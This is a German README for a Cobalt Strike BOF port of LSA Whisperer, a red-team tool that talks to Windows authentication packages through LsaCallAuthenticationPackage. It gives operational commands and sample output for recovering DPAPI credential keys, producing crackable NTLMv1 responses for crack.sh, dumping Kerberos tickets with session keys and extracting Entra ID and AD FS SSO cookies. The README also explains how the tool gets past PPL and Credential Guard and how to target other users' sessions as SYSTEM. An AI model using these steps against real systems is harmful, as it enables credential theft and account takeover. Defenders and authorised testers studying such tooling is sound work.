
Eine Beacon Object File (BOF), die direkt mit Windows-Authentifizierungspaketen über die LSA untrusted/trusted client interface kommuniziert, ohne den LSASS-Prozessspeicher zu berühren.

Ein Cobalt Strike Beacon Object File (BOF) Port von LSA Whisperer – dem Tool, das direkt mit Windows-Authentifizierungspaketen über die LSA-Un/Trusted Client-Schnittstelle spricht, ohne den LSASS-Prozessspeicher zu berühren, selbst wenn PPL und Credential Guard aktiviert sind.
LSA Whisperer von Evan McBroom (SpecterOps) hat gezeigt, dass man DPAPI-Anmeldedatenschlüssel wiederherstellen, Cloud-SSO-Token extrahieren und mit Kerberos interagieren kann – alles über legitime LsaCallAuthenticationPackage-API-Aufrufe. Keine Speicher-Lesevorgänge, keine Prozessinjektion, keine Handles auf LSASS.
Dieses Projekt bringt diese Fähigkeiten in C2s als BOFs für den Einsatz in Red-Team-Engagements. Es öffnet niemals ein Handle auf den lsass-Prozess, und alle Aufrufe erfolgen über LsaCallAuthenticationPackage (die offizielle Client-API zur Kommunikation mit lsass). PPL auf LSASS spielt überhaupt keine Rolle. PPL schützt den LSASS-Prozess davor, geöffnet/gelesen/injiziert zu werden.
| Befehl | Beschreibung |
|---|
lsa-credkey [LUID] | DPAPI-Anmeldedatenschlüssel wiederherstellen. Funktioniert mit Credential Guard. |
lsa-strongcredkey [LUID] | Starken DPAPI-Anmeldedatenschlüssel wiederherstellen (Win10+). |
lsa-ntlmv1 [LUID] [Challenge] | NTLMv1-Antwort mit gewählter Challenge generieren. Standard-Challenge 1122334455667788 ist kompatibel mit crack.sh Regenbogentabellen. |

| Befehl | Beschreibung |
|---|---|
lsa-klist [LUID] | Zwischengespeicherte Kerberos-Tickets auflisten. |
lsa-dump [LUID] | Alle Tickets als base64 .kirbi-Blobs mit Sitzungsschlüsseln ausgeben. |
lsa-purge [LUID] [Server] | Tickets löschen. Unterstützt selektives Löschen nach Servernamen. |

| Befehl | Beschreibung |
|---|---|
lsa-ssocookie [LUID] | Entra ID (Azure AD) SSO-Cookie über AAD-Plugin extrahieren. |
lsa-devicessocookie [LUID] | Geräte-SSO-Cookie extrahieren. |
lsa-enterprisesso [LUID] | AD FS Enterprise-SSO-Cookie extrahieren. |
lsa-cloudinfo [LUID] | Cloud-Anbieterinformationen, TGT-Status, DPAPI-Status abfragen. |
LUID: 0 oder weglassen für aktuelle Sitzung. Hex-Wert (z. B. 0x3e7) zum Zielen auf eine bestimmte Anmeldesitzung. Das Zielen auf andere Sitzungen erfordert SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Verwenden Sie den wiederhergestellten Schlüssel mit SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Reichen Sie die Antwort bei crack.sh ein, um mit der Standard-Challenge sofort den NT-Hash zu erhalten.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor-Skript (dieses laden)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF-API-Deklarationen + DFR-Importe
│ └── lsa_structs.h # Alle LSA/MSV1_0/Kerberos/CloudAP-Strukturen
├── src/
│ ├── common/
│ │ └── lsa_common.c # Gemeinsame LSA-Initialisierung, Hilfsfunktionen, Ausgabeformatierung
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0-Befehle
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos-Befehle
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD-Befehle
└── build/ # Kompilierte BOFs (nach make)
Jedes Modul wird zu einem unabhängigen BOF kompiliert. Gemeinsamer Code wird zur Kompilierzeit eingebunden (Standard-BOF-Muster) – keine gemeinsam genutzten Bibliotheken oder Laufzeitabhängigkeiten.
| Kontext | Fähigkeit |
|---|---|
| Aktueller Benutzer (ohne Privilegien) | lsa-klist, lsa-ssocookie, lsa-cloudinfo für eigene Sitzung |
SYSTEM (SeTcbPrivilege) | Alle Befehle, die auf eine beliebige Anmeldesitzung per LUID zielen |
Verfügbare LUIDs mit logonpasswords oder klist auflisten, um Ziel-Sitzungen zu finden.
lsa-credkey und lsa-strongcredkey funktionieren durch Credential Guard hindurch. lsa-ntlmv1 wird davon blockiert.1122334455667788 ermöglicht kostenloses Knacken mit Regenbogentabellen über crack.sh. Benutzerdefinierte Challenges funktionieren, erfordern aber Standard-Brute-Force.lsa-purge mit einem Server-Filter entfernt nur passende Tickets – nützlich für gezielten Kerberos-Missbrauch, ohne die Benutzersitzung zu stören.Dieses Projekt ist ein BOF-Port von LSA Whisperer von Evan McBroom (@EvanMcBroom) von SpecterOps. Die gesamte zugrundeliegende Forschung – die undokumentierten MSV1_0-Protokollnachrichten, die CloudAP/AAD-Plugin-Aufrufschnittstelle und die Strukturdefinitionen, die dies ermöglichen – stammt von ihm.
Wichtige Referenzen: